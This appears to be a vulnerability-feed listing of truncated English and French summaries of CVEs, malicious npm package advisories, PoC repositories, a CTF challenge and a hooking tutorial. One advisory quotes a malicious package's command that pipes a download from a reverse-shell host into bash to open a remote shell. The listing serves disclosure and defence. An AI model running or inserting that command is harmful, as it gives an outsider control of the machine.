CVE-2026-103692 Frontend Dashboard 3.0.0 - 3.0.4 - Unauthenticated Privilege Escalation via Arbitrary Function Call

The Frontend Dashboard WordPress plugin before 3.0.5 does not perform any authorisation or nonce check on actions available to unauthenticated users that call an attacker-chosen PHP function or class method with the request data, allowing unauthenticated users to take over any account, including...

EUVD-2026-94762

The Frontend Dashboard WordPress plugin before 3.0.5 does not perform any authorisation or nonce check on actions available to unauthenticated users that call an attacker-chosen PHP function or class method with the request data, allowing unauthenticated users to take over any account, including...

CVE-2026-103692

The Frontend Dashboard WordPress plugin (versions 3.0.0-3.0.4 ) is vulnerable to unauthenticated privilege escalation . The root cause is a lack of authorisation or nonce checks on actions available to unauthenticated users, which allow an attacker to trigger an attacker-chosen PHP function or cl...

CVE-2020-13889

Auteur : Andre k Lorenci Contact : [email protected] CVE-2020-13889 Bonjour, cette vulnérabilité consiste en une fonction appelée showAlert dans le panneau d'administration de bludit, qui, lorsqu'on y accède via le DOM, permet aux utilisateurs de définir le texte à afficher dans la boîte de...

CVE-2024-42009

CVE-2024-42009 – XSS réfléchi dans Roundcube Webmail 📌 Aperçu Ce dépôt contient un modèle Nuclei et des ressources associées pour démontrer et valider en toute sécurité CVE-2024-42009 , une vulnérabilité critique de XSS réfléchi dans Roundcube Webmail. Le défaut réside dans la fonction messagebod...

CVE-2021-38304-PoC

CVE-2021-38304 Preuve de concept Aperçu Ce dépôt contient une preuve de concept pour une vulnérabilité de sécurité critique dans les anciennes versions du pilote National Instruments nipalk.sys. La vulnérabilité permet l'exécution de code arbitraire et la divulgation de mémoire en mode noyau. Ell...

WordPress Epsilon Framework Themes <=2.4.8 - Remote Code Execution

WordPress themes including Shapely = 1.2.7, NewsMag = 2.4.1, Activello = 1.4.0, Illdy = 2.1.4, Allegiant = 1.2.2, Newspaper X = 1.3.1, Pixova Lite = 2.0.5, Brilliance = 1.2.7, MedZone Lite = 1.2.4, Regina Lite = 2.0.4, Transcend = 1.1.8, Affluent = 1.1.0, Bonkers = 1.0.4, Antreas = 1.0.2, Sparkli...

Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func

The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeitarticlespaginationcallback function. This is due to the function accepting user input and then passing that through calluserfunc. This makes it possible for...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

CVE-2025-12758

CVE-2025-12758 : Contournement du sélecteur de variation Unicode de isLength de Validator.js ID CVE : CVE-2025-12758 Score CVSS : 8.7 ÉLEVÉ Sévérité : ÉLEVÉE CWE : CWE-792 Filtrage incomplet d'une ou plusieurs instances d'éléments spéciaux Publié : 26 novembre 2025 Divulgué : 19 octobre 2025 Aper...

Malicious code in function-color (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 551ba64ea86ca7d7839dcd058b2c567604c534134e2a6e13f84af340c2db4aac Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17647 Malicious code in function-color (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 551ba64ea86ca7d7839dcd058b2c567604c534134e2a6e13f84af340c2db4aac Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17648 Malicious code in function-flag (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 41710fdfae55850258c24f8be4df71e28d46d964cec0faa6def842369592ed2b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in function-flag (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 41710fdfae55850258c24f8be4df71e28d46d964cec0faa6def842369592ed2b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

CVE-2026-80821

A flaw was found in the Linux kernel's nvmet PCI Express Endpoint Function PCI-EPF component. A remote attacker can exploit this vulnerability by sending specially crafted Create IO Completion Queue CQ commands. This leads to a resource leak, as the system fails to properly release references to...

GHSA-9GVV-QJJ3-2P6G Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium

Flowise packages flowise and flowise-components in versions = 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and...

IAT-Hook

Hooking - IAT Hooking Le hooking est une technique qui permet à un utilisateur de rediriger le flux d'exécution d'un programme. La plupart du temps, nous utilisons le hooking de fonctions. Nous allons soit remplacer, soit rediriger une fonction vers la nôtre ; c'est très utile et cela a de...

CVE-2025-55182

CVE-2025-55182 - RCE des composants serveur React NOTE : Écrit par IA/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182 est une vulnérabilité RCE critique dans le protocole Flight de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus...

CVE-2025-65018_Exploit_Challenge

Défi CTF CVE-2025-65018 : « PNG Panic » Ce défi est basé sur une vulnérabilité réelle de débordement de tampon dans libpng concernant plus précisément l'API simplifiée pngimagefinishread lors du traitement d'images entrelacées 16 bits. 🚩 Objectif du défi Vous disposez d'un binaire vulnérable vict...

patched-bash-4.3

patched-bash-4.3 patched-bash-4.3 pour CVE-2014-6271 Ceci est simplement bash 4.3, tiré du site web de GNU, et corrigé avec les correctifs disponibles le 26/09/2014, y compris les changements de fonctionnalité pkgsrc qui désactivent tout simplement l'absurde « exécution de fonctions dans les...